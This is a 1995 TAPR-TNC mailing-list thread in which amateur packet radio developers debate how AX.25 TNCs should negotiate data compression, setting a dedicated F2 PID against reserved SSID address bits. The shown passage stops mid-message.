Cc: TAPR-TNC Mailing List <tapr-tnc@tapr.org>
Message-ID: <Pine.LNX.3.91.951028103901.9490M-100000@lantz.com>
Rendered body type: text/plain

```
On Sat, 28 Oct 1995, Howard Goldstein wrote:

> On Fri, 27 Oct 1995, Brian A. Lantz wrote:
>
>
> > On Wed, 25 Oct 1995, Howard Goldstein wrote:
> >
> > > Any thoughts about negotiation?
> >
> > Simple with a separate PID. You first (if you WANT compression) send a F2
> > PID. If no response, send an F0, and disable using compression.
>
> Do other TNCs ignore non-F0 PID I frames?  TNC-2 doesn't....arrgh

I know PacComm has has a PIDCHECK command in there for some time, mainly
to let it ignore ROSE/NOS/ETC non-PID F0 frames.

Also, wasn't there a Mnoax25 command in the TAPR code that was suppose to
do the same thing?



-------------------------------------------------------------
Brian A. Lantz     http://www.lantz.com     brian@lantz.com

REAL PORTION of Microsoft Windows code:
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

51. Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 28 Oct 1995 14:59:14 -0400 (EDT)
To: tapr-tnc@tapr.org
Cc: brian@lantz.com
Message-ID: <Pine.LNX.3.91.951028145709.286E-100000@n2wx.ampr.org>
Rendered body type: text/plain

```
On Sat, 28 Oct 1995, Brian A. Lantz wrote:

> > > Simple with a separate PID. You first (if you WANT compression) send a F2
> > > PID. If no response, send an F0, and disable using compression.
> >
> > Do other TNCs ignore non-F0 PID I frames?  TNC-2 doesn't....arrgh
>
> I know PacComm has has a PIDCHECK command in there for some time, mainly
> to let it ignore ROSE/NOS/ETC non-PID F0 frames.
>
> Also, wasn't there a Mnoax25 command in the TAPR code that was suppose to
> do the same thing?
```

Yes, MNONAX25 is still in there but it only operates at the monitor level
(connected I frames still pass through)...

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

52. Re: [TAPR-TNC:99] TNC Based Compression - Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Sat, 28 Oct 95 16:38:09 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f9a@ram.net>
Rendered body type: text/plain

Let me expand this a bit more...

The Sending Station sends with it's Reserved SSID bits set to 01
(better stated HRRSSSS0 for the SSID becomes HRCSSSS0 C=Compression)

The receiving station seeing that bit Set can send an F2 PID Frame
with a SPACE delimited list of the 'Compression' protocols it can support
NULL terminated optionally followed by it's best choice and any parmeters
it wants to propose.

RX: W2VY+>N2WX <C P>   The + could indicate that the C bit was set
TX: N2WX>W2VY+ <UA F>
TX: N2WX>W2VY+ <I PID=F2> RLE LZW XYZ FBBCOMP ETC<00>XYZ W=9 B=3k ...
                        ^list of available   Null^ Protocol Dependent
RX: W2VY+>N2WX <I PID=F2>XYZ W=4 B=2K and so on

(If the ssid > 0 W2VY+1 instead of W2VY-1)

THEN when they agree they would SWITCH to another PID so that the rest
of the world would have an indication of which Compression protocol
was being used so that the data could be cracked if needed.

I would like to Propose that E0-EF be used for Block/Recode oriented
protocols and F0-FF be used for stream oriented protocols

(or maybe E0-FF for stream and 60-7F for block)

****
Thomas A. Moulton, W2VY
w2vy@ram.net

53. Re: [TAPR-TNC:104] Re: TNC Based Compression - Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Sat, 28 Oct 1995 17:02:16 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951028165439.16018B-100000@lantz.com>
Rendered body type: text/plain

On Sat, 28 Oct 1995, Tom Moulton wrote:

> Let me expand this a bit more...
>
> The Sending Station sends with it's Reserved SSID bits set to 01
> (better stated HRRSSSS0 for the SSID becomes HRCSSSS0 C=Compression)
>
> The receiving station seeing that bit Set can send an F2 PID Frame
> with a SPACE delimited list of the 'Compression' protocols it can support
> NULL terminated optionally followed by it's best choice and any parmeters
> it wants to propose.
>
> RX: W2VY+>N2WX <C P>   The + could indicate that the C bit was set
> TX: N2WX>W2VY+ <UA F>
> TX: N2WX>W2VY+ <I PID=F2> RLE LZW XYZ FBBCOMP ETC<00>XYZ W=9 B=3k ...
>   ^list of available   Null^ Protocol Dependent
> RX: W2VY+>N2WX <I PID=F2>XYZ W=4 B=2K and so on
>
> (If the ssid > 0 W2VY+1 instead of W2VY-1)

I'm with you, and agree, until.....

> THEN when they agree they would SWITCH to another PID so that the rest
> of the world would have an indication of which Compression protocol
> was being used so that the data could be cracked if needed.

WHY?

Fact: ANY compression scheme, if not monitored from the BEGINNING, is
almost impossible to sync into. Why use even *1* different PID, if you
use the 'C' bit you defined. The existence of this bit, indicated
compression. The details are negotiated between the two parties in
uncompressed transmissions, for anyone who is at that time monitoring.
Then the just preceed, compressed. If someone is monitoring, they will be
able to decode. If they come in late, it will STILL be gibberish, no
matter WHAT the PID says.

Use the existence of the 'C' bit, solely.

If a SABM is sent with 'C' set, and the receiving station sends it's UA
with the 'C' set, then they negotiate. If the receiving station does NOT
send with the 'C' bit set, then that means that it does NOT support
compression, so the sender no longer sets his 'C' bit, and no
negotiations are done.

This breaks NO existing code, allows INFINITE flexibility (since infinite
numbers of compression routines can be supported by computers driving the
TNC using KISS, etc.), and could be used TODAY in *any* network.

> I would like to Propose that E0-EF be used for Block/Recode oriented
> protocols and F0-FF be used for stream oriented protocols
>
> (or maybe E0-FF for stream and 60-7F for block)

This, on the other hand, would become an administrative, and software
support nightmare!

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

54. Re: [TAPR-TNC:105] Re: TNC Based Compression - Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Sat, 28 Oct 95 17:53:02 EDT
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f9c@ram.net>
Rendered body type: text/plain

>WHY?
>
>Fact: ANY compression scheme, if not monitored from the BEGINNING, is
>almost impossible to sync into. Why use even *1* different PID, if you
>use the 'C' bit you defined. The existence of this bit, indicated
>compression. The details are negotiated between the two parties in
>uncompressed transmissions, for anyone who is at that time monitoring.
>Then the just preceed, compressed. If someone is monitoring, they will be
>able to decode. If they come in late, it will STILL be gibberish, no
>matter WHAT the PID says.

Some compression techniques do have a Flush opcode that will clear the
dictionary. this is a sync point for monitoring. other techniques
may be done only on a packet unit, not the whole stream.

Maybe each one won't have it's own, but SOME COULD.

>
>Use the existence of the 'C' bit, solely.
>
>If a SABM is sent with 'C' set, and the receiving station sends it's UA
>with the 'C' set, then they negotiate. If the receiving station does NOT
>send with the 'C' bit set, then that means that it does NOT support
>compression, so the sender no longer sets his 'C' bit, and no
>negotiations are done.

This works ok point to point, but when ROSE or TheNet sends the UA it does
not know if the receiving stationcan support anything, since it is many hops

away...

>This breaks NO existing code, allows INFINITE flexibility (since infinite
>numbers of compression routines can be supported by computers driving the
>TNC using KISS, etc.), and could be used TODAY in *any* network.

once the network passes the C bit to the destination station
>
>
>> I would like to Propose that E0-EF be used for Block/Recode oriented
>> protocols and F0-FF be used for stream oriented protocols
>>
>> (or maybe E0-FF for stream and 60-7F for block)
>
>This, on the other hand, would become an administrative, and software
>support nightmare!

Well, the NETWORK providers need to know which PIDS need to be handled
as BLOCK protocols (frane boundaries preserved) and which are STREAM
Protocols. Right now in ROSE F0 is stream and anything else and UI
are block.

The C bits are not passed back, once the connections are established they
are up and the Address bits can't be changed, easily.

The Sender will expect F2 and negotiation or get F0 and assume no negotiation

The networks will be interesting, When you connect throug them there is a
dialogue... would a string such as "COMPRESS ..." be good enough as a
preamble to the compression negotiation?

If so then the networks would have to send service messages with F2 pid until
the Destiation station send data (F2 or F0)

it is not as clear as it should be, but i am pressed for time...

more later...

I need to diagram all cases to show how it works by example

****
Thomas A. Moulton, W2VY
w2vy@ram.net

55. Re: [TAPR-TNC:106] Re: TNC Based Compression - Negotiation

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 28 Oct 1995 23:51:11 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951028234502.230C-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tom, I really like your idea. One thing concerns me though:

On Sat, 28 Oct 1995, Tom Moulton wrote:
> The C bits are not passed back, once the connections are established they
> are up and the Address bits can't be changed, easily.

I take it you're referring here to the current version of ROSE, and my
guess is the same situation exists for all but the dumbest digi networks
as well. This would seem to break the scheme for compression over all of
them. I think it important to work some technique that allows for
benefit without being at the mercy of the switch and node boys who at
times have difficulty keeping their stuff running, much less outfitted
with current code. How do you feel about it?

Back to Greg's idea maybe...or mine... Think I'll plug it into the TNC
next weekend if the present project doesn't bounce back and see how it
works...

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

56. Re: [TAPR-TNC:107] Re: TNC Based Compression - Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Sun, 29 Oct 1995 10:49:07 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951029104303.749F-100000@lantz.com>

Rendered body type: text/plain

On Sat, 28 Oct 1995, Howard Goldstein wrote:

> Tom, I really like your idea. One thing concerns me though:
>
> On Sat, 28 Oct 1995, Tom Moulton wrote:
> > The C bits are not passed back, once the connections are established they
> > are up and the Address bits can't be changed, easily.
>
> I take it you're referring here to the current version of ROSE, and my
> guess is the same situation exists for all but the dumbest digi networks
> as well. This would seem to break the scheme for compression over all of
> them. I think it important to work some technique that allows for
> benefit without being at the mercy of the switch and node boys who at
> times have difficulty keeping their stuff running, much less outfitted
> with current code. How do you feel about it?

Yes, changing PID's in mid-stream will cause some/most current
packet networking software to barf, as will possibly setting the 'C' bit,
as described.

I don't think we will find ANY method to do this that will not require
SOME modification of network firmware, so let's define the way we wish it
to work, make it work, and then try to encourage those who NEED to make
coding changes to do so. If Tom is a part of this, then I believe it is
safe to say that ROSE will make whatever changes are needed. I will make
them in TNOS (which could be also placed into JNOS). If Howie places them
in the TAPR TNC code, then we already have a large base of
'compression-compatible' support to start with for momentum.

Let's define the spec, make it work in a prototype, and then drum up
support once it is defined and functional.

I STILL believe changing PIDs, and defining an ocean of different ones is
a mistake. I don't believe that others will support this, as *I* am
apprehensive to do so.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:

```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

57. Re: [TAPR-TNC:107] Re: TNC Based Compression - Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Sun, 29 Oct 95 14:48:08 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f9e@ram.net>
Rendered body type: text/plain

>Tom, I really like your idea. One thing concerns me though:
>
>On Sat, 28 Oct 1995, Tom Moulton wrote:
>> The C bits are not passed back, once the connections are established they
>> are up and the Address bits can't be changed, easily.
>
>I take it you're referring here to the current version of ROSE, and my
>guess is the same situation exists for all but the dumbest digi networks
>as well. This would seem to break the scheme for compression over all of
>them. I think it important to work some technique that allows for

I guess I did not explain myself well enough. There is no real need for the
C bit to be set on the destination callsign. It is just used by the station
of origination to tell the destination that F2 negotiation is supported.

>benefit without being at the mercy of the switch and node boys who at
>times have difficulty keeping their stuff running, much less outfitted
>with current code. How do you feel about it?

I think that changing ths bits in an Existing connection will be hard for
all the networks. and it is not required...

but setting them when the connection is established is easy.

>
>Back to Greg's idea maybe...or mine... Think I'll plug it into the TNC
>next weekend if the present project doesn't bounce back and see how it
>works...

Greg's idea was sending an init string, ok but guys would complain
about the extra stuff when they did not support compression....

Your idea was to use digi field, that requires more changes to switch AND
tnc code than my idea. the digi idea is not as simple as you think.
>
>
>--
>Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx
>/
>

****
Thomas A. Moulton, W2VY
w2vy@ram.net

58. Re: [TAPR-TNC:108] Re: TNC Based Compression - Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Sun, 29 Oct 95 14:59:59 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1f9f@ram.net>
Rendered body type: text/plain

>Yes, changing PID's in mid-stream will cause some/most current
>packet networking software to barf, as will possibly setting the 'C' bit,
>as described.

Can other systems other than ROSE and Flexnet support multiPIDs?

I completely agree that most will barf on changing C bits

>
>I don't think we will find ANY method to do this that will not require
>SOME modification of network firmware, so let's define the way we wish it
>to work, make it work, and then try to encourage those who NEED to make
>coding changes to do so. If Tom is a part of this, then I believe it is
>safe to say that ROSE will make whatever changes are needed. I will make
>them in TNOS (which could be also placed into JNOS). If Howie places them
>in the TAPR TNC code, then we already have a large base of
>'compression-compatible' support to start with for momentum.
>
>Let's define the spec, make it work in a prototype, and then drum up
>support once it is defined and functional.

I agree and will document what I am proposing better.

I have thought about this to have a small impact to MOST systems, not just
ROSE. And it also will NOT put junk the stream for users that have older
TNC code.

>I STILL believe changing PIDs, and defining an ocean of different ones is
>a mistake. I don't believe that others will support this, as *I* am
>apprehensive to do so.

I will concede that an ocean of PIDs is not good, BUT there will be SOME
compression that will need it's own PID (How about compressed UI frames?)
How about predefined lookup tables, etc

Because of this I would like to defie the F0-FE pids to be Stream oriented.
(FF is reserved for extention...)

****
Thomas A. Moulton, W2VY
w2vy@ram.net

59. Compression/Capability Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Mon, 30 Oct 95 09:27:10 EST
To: tapr-tnc@tapr.org (TAPR TNC)

Message-ID: <15021573.1fab@ram.net>
Rendered body type: text/plain

Ok Guys, here is my detailed description. Let's get this to bed
so we can get onto the meat... the COMPRESSION!

For this discussion there are 4 Stations involved.

TX - The Station that First sends a Connect Request
RX - The Destination Station that TX wants to talk to
Entry - The Entry Switch of the network
Exit - The Exit Switch of the network

In the following the +C indicates that the C Bit is set
The SSID bits of the TX Callsign are now HRCSSSSE.
The SSID bits of the RX Callsign are still HRRSSSSE.

(H Has Been Repeated)
(R Reserved Must be 0)
(C Capability Negotiation Supported)
(S SSID Bits 0-15)
(E EOF Bit Set in last Address byte)

```
TX                 Entry                   Exit            RX
SABM+C -------->
      <-------- UA
Regular Data may be sent and recd
(maybe to set up final connection)

                                           SABM+C ------->
                                                 <------- UA
                                    Regular Data may be sent and recd
The RX station may at any time realize that the C bit was set and
then send an F2 Negotiation
                                                 <------- F2

      <--------- F2
Regular Data ok Here too
F2     --------->
Compressed data as negotiated may now be sent  F2 ------->
as defined by the protocol being negotiated
and if the negotiated protocol requires a new
PID it will be changed to under control of the
currently Undefined protocol
```

I Strongly suggest that Compressed data be sent on
a PID other than F0 so that Uncompressed data may be
sent at any time (by RX, TX *OR* Entry, Exit for Service messages)

Besides the PIDCHECK was added 'cause users didn't like seeing the
junk on their screens...

The important points to note:

The TX station only indicates it supports CAPABILITY NEGOTIATION
(note name change for the bit)
it is the responsibility of the RX Station to invoke the negotiation
phase.

Neither station is restricted from sending uncompressed data before
the negotiation is complete.

If the RX station does not support the C bit communication proceeds as
in the past with no extra retries or a second connect request passing
through the network.

There are no Garbage characters sent out of the old TNC code async
port, since it is Receiver Driven.

Also IF the Extry OR Exit (or any other device in the middle) noticed
that there was a large ammount of data (or time) without seeing
F2 Negotiation then the Exit point, for example, coule start one up
and perform compression between TX and Exit as an internal network
optimization. This should be done VERY carfeully, what if the data is
already compressed? (usually will then Expand the data)

Also once both stations (TX and RX) have exchanged F2 frames either
should be able to Re-negotiate at any time. If a large compressed
binary data stream were to be sent, negotiate to turn OFF compression,

```
     or change compression techniques due to known content and a
     prearranged table lookup tokenization

Please PRINT IT OUT and look it over.

**********************
Thomas A. Moulton, W2VY
w2vy@ram.net
```

60. Re: [TAPR-TNC:111] Compression/Capability Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Mon, 30 Oct 1995 09:46:31 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030092511.28244A-100000@lantz.com>
Rendered body type: text/plain

```
On Mon, 30 Oct 1995, Tom Moulton wrote:

> Ok Guys, here is my detailed description. Let's get this to bed
> so we can get onto the meat... the COMPRESSION!

Tom, this seems predicated on the need to change PIDs more frequently
than most humans breath ;-)

You have a SINGLE circuit starting out as F0, optionally changing to F2,
and optionally changing to ANYTHING!

How can you HOPE to get support for such a scheme?

Tom, buddy, wake up and smell reality ;-)

Instead, how about the MUCH simpler....


     In the following the +C indicates that the C Bit is set
     The SSID bits of the TX Callsign are now   HNCSSSSE.
     The SSID bits of the RX Callsign are still HNCSSSSE.

     (H Has Been Repeated)
     (N Negotiation in progress (otherwise must be 0)
     (C Compression Supported (defaulted to off, till negotiated)
     (S SSID Bits 0-15)
     (E EOF Bit Set in last Address byte)

      TX                 Entry                   Exit            RX
      SABM+C -------->
            <-------- UA+C
      Regular Data may be sent and recd
      (maybe to set up final connection)
      (+C on UA says network facility supports compression)

                                                 SABM+C ------->
                                                       <------- UA+C
                                          Regular Data may be sent and recd
      The RX station may at any time realize that the C bit was set and
      then send an +N Negotiation
                                                       <------- I+C+N

            <---------- I+C+N
      Regular Data ok Here too
      I+C+N     ---------->
      Compressed data as negotiated may now be sent  I+C+N ------->
      as defined by the protocol being negotiated.

      I Strongly suggest that Compressed data NOT be sent on
      a PID other than the PID NORMALLY used.

>     Besides the PIDCHECK was added 'cause users didn't like seeing the
>     junk on their screens...

And compressed PBBS forwarding (the norm rather than the exception) has
made this feature ALREADY useless, so why complicate a protocol for the
sake of a broken feature that only SOME TNCs support?

      The important points to note:

      The TX station only indicates it supports COMPRESSION, anddue to
      that must also support  NEGOTIATION.
      it is the responsibility of the RX Station to invoke the negotiation
```

phase.

Neither station is restricted from sending uncompressed data before
the negotiation is complete.

If the RX station does not support the C bit communication proceeds as
in the past with no extra retries or a second connect request passing
through the network.

There are no Garbage characters sent out of the old TNC code async
port, since it is Receiver Driven.

Also once both stations (TX and RX) have exchanged +N frames either
should be able to Re-negotiate at any time. If a large compressed
binary data stream were to be sent, negotiate to turn OFF compression,
or change compression techniques due to known content and a
prearranged table lookup tokenization

```
------------------------------------------------------------
Brian A. Lantz     http://www.lantz.com     brian@lantz.com

REAL PORTION of Microsoft Windows code:
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

61. Re: [TAPR-TNC:112] Re: Compression/Capability Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Mon, 30 Oct 95 11:32:00 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fae@ram.net>
Rendered body type: text/plain

>Tom, this seems predicated on the need to change PIDs more frequently
>than most humans breath ;-)
>
>You have a SINGLE circuit starting out as F0, optionally changing to F2,
>and optionally changing to ANYTHING!
>
>How can you HOPE to get support for such a scheme?

Well the only PIDs that are REQUIRED to support are F0 and F2.
The others would only be needed if Protocol XYZ were supported.

What is wrong with using the PID for something usefull?
(PID=Protocol IDentifier)

I am suggesting using it to identify a specific Protocol element.
F2 for Capability Negotiation.

>
>Tom, buddy, wake up and smell reality ;-)

Many protocols use more than one PID.

What is WRONG with using more than one?
>
>Instead, how about the MUCH simpler....
>
>
>   In the following the +C indicates that the C Bit is set
>   The SSID bits of the TX Callsign are now   HNCSSSSE.
>   The SSID bits of the RX Callsign are still HNCSSSSE.
>
>   (H Has Been Repeated)
>   (N Negotiation in progress (otherwise must be 0)
>   (C Compression Supported (defaulted to off, till negotiated)
>   (S SSID Bits 0-15)
>   (E EOF Bit Set in last Address byte)
>
In your example you had the UA+C coming from the Entry network switch
indicating the network supported Compression.

Does this mean that the users will be restricted to what compression the
network supports?

We are talking about the HDLC Address field, I object to the idea of changing
the address field during the session.

I see what you are doing. Using the other bit as well.

>>   Besides the PIDCHECK was added 'cause users didn't like seeing the
>>   junk on their screens...
>
>And compressed PBBS forwarding (the norm rather than the exception) has
>made this feature ALREADY useless, so why complicate a protocol for the
>sake of a broken feature that only SOME TNCs support?

ALL TAPR tnc's support suppressin of non-F0 PID.

By using F0 for compressed data, no station, TX, RX, Entry or Exit can
send (or insert) any uncompressed data (like Service Messages such as
RESET or Call Clearing from ROSE or a RECONNECT message for thenet)

>
>   The important points to note:
>
>   The TX station only indicates it supports COMPRESSION, anddue to
>   that must also support NEGOTIATION.
>   it is the responsibility of the RX Station to invoke the negotiation
>   phase.
>
>   Neither station is restricted from sending uncompressed data before
>   the negotiation is complete.
>
>   If the RX station does not support the C bit communication proceeds as
>   in the past with no extra retries or a second connect request passing
>   through the network.
>
>   There are no Garbage characters sent out of the old TNC code async
>   port, since it is Receiver Driven.
>
>   Also once both stations (TX and RX) have exchanged +N frames either
>   should be able to Re-negotiate at any time. If a large compressed
>   binary data stream were to be sent, negotiate to turn OFF compression,
>   or change compression techniques due to known content and a
>   prearranged table lookup tokenization
>

****
Thomas A. Moulton, W2VY
w2vy@ram.net

62. Re: [TAPR-TNC:113] Re: Compression/Capability Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Mon, 30 Oct 1995 11:51:02 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030112336.30463B-100000@lantz.com>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Tom Moulton wrote:

>
> What is wrong with using the PID for something usefull?
> (PID=Protocol IDentifier)

If it were needed (or the best way to impliment this), I would agree.

> I am suggesting using it to identify a specific Protocol element.
> F2 for Capability Negotiation.

And requiring all network elements to PAY ATTENTION to this, and
dynamically adjust to it.

xNOS for instance, treats each PID as a separate entity. This scheme
would require each PID passed to have to be interrpretted by xNOS,
allocated a separate stream (of a sort), and keep switching back and
forth to whichever PID the higher level application wishes to lead us on
in this merry chase.

HIGHLY unmanageable!

> Many protocols use more than one PID.

Name one?

> In your example you had the UA+C coming from the Entry network switch
> indicating the network supported Compression.

That's correct! As a user, I'd like to have a way to know if my
compression wasn't working because the end point was dumb, or if it was
the NETWORK FIRMWARE that prevented it.

> Does this mean that the users will be restricted to what compression the
> network supports?

No, but they WILL be restricted if the network is NOT compression-aware,
and will NOT support end-to-end compression invisibly.

> We are talking about the HDLC Address field, I object to the idea of changing
> the address field during the session.
>
> I see what you are doing. Using the other bit as well.

It is FAR easier to support the optional changing of previously reserver
bits in the address field than it is to go swapping PIDs at the drop of a
hat, with no way of knowing what may be the NEXT PID to come from a site.

Currently, different PIDs indicate different tasks, modes, or uses, and
are NOT changed on the fly.

> >>   Besides the PIDCHECK was added 'cause users didn't like seeing the
> >>   junk on their screens...
> >
> >And compressed PBBS forwarding (the norm rather than the exception) has
> >made this feature ALREADY useless, so why complicate a protocol for the
> >sake of a broken feature that only SOME TNCs support?
>
> ALL TAPR tnc's support suppressin of non-F0 PID.

You missed the point. PBBS compressed forwarding is DONE on F0 PIDs, and
as such is NOT filtered by that command.

> By using F0 for compressed data, no station, TX, RX, Entry or Exit can
> send (or insert) any uncompressed data (like Service Messages such as
> RESET or Call Clearing from ROSE or a RECONNECT message for thenet)

First off, I did NOT designate F0 PIDs, I designated using the SAME PIDs
that are normally used for the SAME application.

If there is the desire to send UNCOMPRESSED data, you simply clear the
'C' bit, and send it. WHY do you need another PID floating around to do this?

Tom, I think you are trying to make this FAR too difficult.

The same basic hurdles for network firmware support are going to be there,
no matter WHICH way we go, but one involves smiply flipping bits to
switch modes and start negotiations, using the SAME VC, and the other
requires maintaining and dynamically changing between an INFINITE number
of PIDs.

I know, you have NOT specified an infinite number of PIDs, but once you
let the Geanie out of the bottle, you won't be able to find any two
applications that won't want to use different PIDs.

This should be handled as an extension of the spec, and be made in light
of what is the easiest way to allow all to conform to that spec. Defining
two unused bits, and defining how applications are to USE those bits, is
a simple modification of the AX25 spec. Defining the kind of PID swapping
you are suggesting, will NOT be a clear, minor change, and will NOT be
accepted.

Simple rules:

1) If you wish the ability to compress data, you originate a call with
the 'C' bit set.

2) If you are an end point and you support compression, you set the 'C'
bit, if you do NOT support compression, you clear it.

3) If EITHER side wishes to negotiate/re-negotiate compression, they set
the 'N' bit to an I frame with their negotiations. Once receiving the
response, then it switches modes.

4) Any network firmware (such as ROSE) that does point-to-point acks,
when seeing any frame with the 'C' bit set, sets the 'C' bit of the
response, IF is supports passing the negotiations. Those that do not,
will do as the do now (for backwards compatibility) and clear the 'C' bit.

5) Any network firmware that does end-to-end acks, need only be concerned
that they allow the 'C' and 'N' bits to be set, and that they deliver
them in the state they were received in.

6) Existing software, which always clears the 'C' and 'N' bits, will NOT
support compression, but do NOT get broken.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

63. Re: [TAPR-TNC:114] Re: Compression/Capability Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Mon, 30 Oct 95 13:45:38 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb0@ram.net>
Rendered body type: text/plain

>> I am suggesting using it to identify a specific Protocol element.
>> F2 for Capability Negotiation.
>
>And requiring all network elements to PAY ATTENTION to this, and
>dynamically adjust to it.
>
>xNOS for instance, treats each PID as a separate entity. This scheme
>would require each PID passed to have to be interrpretted by xNOS,
>allocated a separate stream (of a sort), and keep switching back and
>forth to whichever PID the higher level application wishes to lead us on
>in this merry chase.
>
>HIGHLY unmanageable!

Well... first F2 is a management stream to control the data encoding of the
F0 stream...
>
>> Many protocols use more than one PID.
>
>Name one?

TCP/IP
>
>> In your example you had the UA+C coming from the Entry network switch
>> indicating the network supported Compression.
>
>That's correct! As a user, I'd like to have a way to know if my
>compression wasn't working because the end point was dumb, or if it was
>the NETWORK FIRMWARE that prevented it.
>
In the UA the C bit was set in MYCALL, the older switch would not have
set it. I knew I would mess up if I didn't show both callsigns.

>> Does this mean that the users will be restricted to what compression the
>> network supports?
>
>No, but they WILL be restricted if the network is NOT compression-aware,
>and will NOT support end-to-end compression invisibly.
>
both methods support this concept

>
>> We are talking about the HDLC Address field, I object to the idea of chang
>ing

>> the address field during the session.
>>
>> I see what you are doing. Using the other bit as well.
>
>It is FAR easier to support the optional changing of previously reserver
>bits in the address field than it is to go swapping PIDs at the drop of a
>hat, with no way of knowing what may be the NEXT PID to come from a site.
>
>Currently, different PIDs indicate different tasks, modes, or uses, and
>are NOT changed on the fly.

I would like to leave the door open to compress the address field down
to either one or two bytes and as such want to leave the address field
a Constant for direct connects (ROSE is a direct connect even though
there are digi fields, but they are only used at Connection setup so
later they can be compressed)
>
>> >sake of a broken feature that only SOME TNCs support?
>>
>> ALL TAPR tnc's support suppressin of non-F0 PID.
>
>You missed the point. PBBS compressed forwarding is DONE on F0 PIDs, and
>as such is NOT filtered by that command.
>
I did not miss the point. I wanted to point out that Most, if not ALL tnc's
support the feature I mentioned. I do not dispute that compression IS done
with pid F0.

>> By using F0 for compressed data, no station, TX, RX, Entry or Exit can
>> send (or insert) any uncompressed data (like Service Messages such as
>> RESET or Call Clearing from ROSE or a RECONNECT message for thenet)
>
>First off, I did NOT designate F0 PIDs, I designated using the SAME PIDs
>that are normally used for the SAME application.
>
>If there is the desire to send UNCOMPRESSED data, you simply clear the
>'C' bit, and send it. WHY do you need another PID floating around to do this
>?

ok, i see, but again I would like to keep the address a constant.

>
>
>Tom, I think you are trying to make this FAR too difficult.
>
>The same basic hurdles for network firmware support are going to be there,
>no matter WHICH way we go, but one involves smiply flipping bits to
>switch modes and start negotiations, using the SAME VC, and the other
>requires maintaining and dynamically changing between an INFINITE number
>of PIDs.

But if you have an IP datagram that is compresses, I don't think it should
still use CC. If you just compress the data portion then it's a higher
layer issue and was negotiated elsewhere...

>
>I know, you have NOT specified an infinite number of PIDs, but once you
>let the Geanie out of the bottle, you won't be able to find any two
>applications that won't want to use different PIDs.

I agree that the dynamic compression techniques (LZW, etc) that build a
table on the fly don't each need their own PID, but some FIXED TABLE
table look ups will require a PID to identify that they are that type

>
>This should be handled as an extension of the spec, and be made in light
>of what is the easiest way to allow all to conform to that spec. Defining
>two unused bits, and defining how applications are to USE those bits, is
>a simple modification of the AX25 spec. Defining the kind of PID swapping
>you are suggesting, will NOT be a clear, minor change, and will NOT be
>accepted.

I only propose F2 pid. The rest is up to the compression people. Many CAN
use F0, some will require something else (like Compressed UI frames, no
negotiation possible)

>
>Simple rules:

>
>1) If you wish the ability to compress data, you originate a call with
>the 'C' bit set.

agree
>
>2) If you are an end point and you support compression, you set the 'C'
>bit, if you do NOT support compression, you clear it.
>
>3) If EITHER side wishes to negotiate/re-negotiate compression, they set
>the 'N' bit to an I frame with their negotiations. Once receiving the
>response, then it switches modes.
>
>4) Any network firmware (such as ROSE) that does point-to-point acks,
>when seeing any frame with the 'C' bit set, sets the 'C' bit of the
>response, IF is supports passing the negotiations. Those that do not,
>will do as the do now (for backwards compatibility) and clear the 'C' bit.
>
what if you send 3 I frames, C=1, C=0, C=1 do I Have to send 3 RR's to
match?

>5) Any network firmware that does end-to-end acks, need only be concerned
>that they allow the 'C' and 'N' bits to be set, and that they deliver
>them in the state they were received in.

what if i get 2 frames C=0 and C=1 am I allowed to package them into
one frame to forward? (Now all F0 gets collected together and forwarded
through the network in full frames)

>
>6) Existing software, which always clears the 'C' and 'N' bits, will NOT
>support compression, but do NOT get broken.

yes.
>

I guess that the changes I propose are fewer changes to the actual actions
of Level 2, but do need an upper layer handler for the new Upper Layer
Protocol Negotiator.

Hell this F2 stream could do a lot of things if we wanted it to...

How about a way to accept requests to reduce TXD, increase FRACK,
